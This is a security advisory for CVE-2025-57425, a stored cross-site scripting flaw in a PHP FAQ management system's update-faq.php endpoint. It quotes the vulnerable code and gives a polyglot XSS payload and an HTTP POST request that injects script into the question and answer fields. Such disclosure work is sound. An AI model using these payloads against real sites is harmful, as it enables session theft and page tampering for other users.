-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathCVE-2025-57425
More file actions
116 lines (76 loc) · 3.57 KB
/
Copy pathCVE-2025-57425
File metadata and controls
116 lines (76 loc) · 3.57 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# 🛡️ Vulnerability Details
**Credits**:
> Pranav Jayan ([https://github.com/progprnv](https://github.com/progprnv))
**Tested On**:
> [FAQ Management System Using PHP and MySQL 1.0](https://www.sourcecodester.com/php/17175/faq-management-system-using-php-and-mysql-source-code.html)
**Affected Version**:
> FAQ Management System Using PHP and MySQL 1.0
**Affected Site Page**:
> `/faq-management-system/endpoint/update-faq.php`
**Affected Code**:
> The application fails to sanitize user input when updating FAQ content, making it vulnerable to stored Cross-Site Scripting (XSS).
```php
<?php
include("../conn/conn.php");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['question'], $_POST['answer'])) {
$faqID = $_POST['tbl_faq_id'];
$question = $_POST['question'];
$answer = $_POST['answer'];
try {
$stmt = $conn->prepare("UPDATE tbl_faq SET question = :question, answer = :answer WHERE tbl_faq_id = :tbl_faq_id");
$stmt->bindParam(":tbl_faq_id", $faqID, PDO::PARAM_STR);
$stmt->bindParam(":question", $question, PDO::PARAM_STR);
$stmt->bindParam(":answer", $answer, PDO::PARAM_STR);
$stmt->execute();
header("Location: http://localhost/faq-management-system/");
exit();
} catch (PDOException $e) {
echo "Error:" . $e->getMessage();
}
} else {
echo "
<script>
alert('Please fill in all fields!');
window.location.href = 'http://localhost/faq-management-system/';
</script>
";
}
}
?>
```
---
## 🧨 Related CWE:
> [CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)
---
## 🔍 Details:
> This vulnerability allows attackers to inject untrusted JavaScript code into the `question` and `answer` fields while updating FAQ entries. The lack of output encoding or input sanitization leads to **Stored XSS**, where malicious scripts are saved to the database and executed when the page is loaded by other users.
---
## 🧪 Payload Used:
```
"><svg/onload=alert(1)><script>/*</script><img src=x onerror=alert(2)><script>//*/</script><body onload=confirm`XSS-Confirmed`><iframe src="javascript:prompt`XSS!`"></iframe>
```
---
## 📡 HTTP Request Example:
```http
POST /faq-management-system/endpoint/update-faq.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 165
Connection: close
tbl_faq_id=1&question=%3Cscript%3Ealert%28%27Pranav+was+here%27%29%3C%2Fscript%3E&answer=%3Cscript%3Ealert%28%27Pranav+was+here%27%29%3C%2Fscript%3E
```
---
## 🚨 Vulnerability Impact:
- Stealing session cookies or tokens from other users
- Running arbitrary JavaScript code in the context of the victim
- Phishing attacks by mimicking site content
- Modifying the DOM to display fake information
- Browser exploitation or redirecting to malicious websites
---
## POC
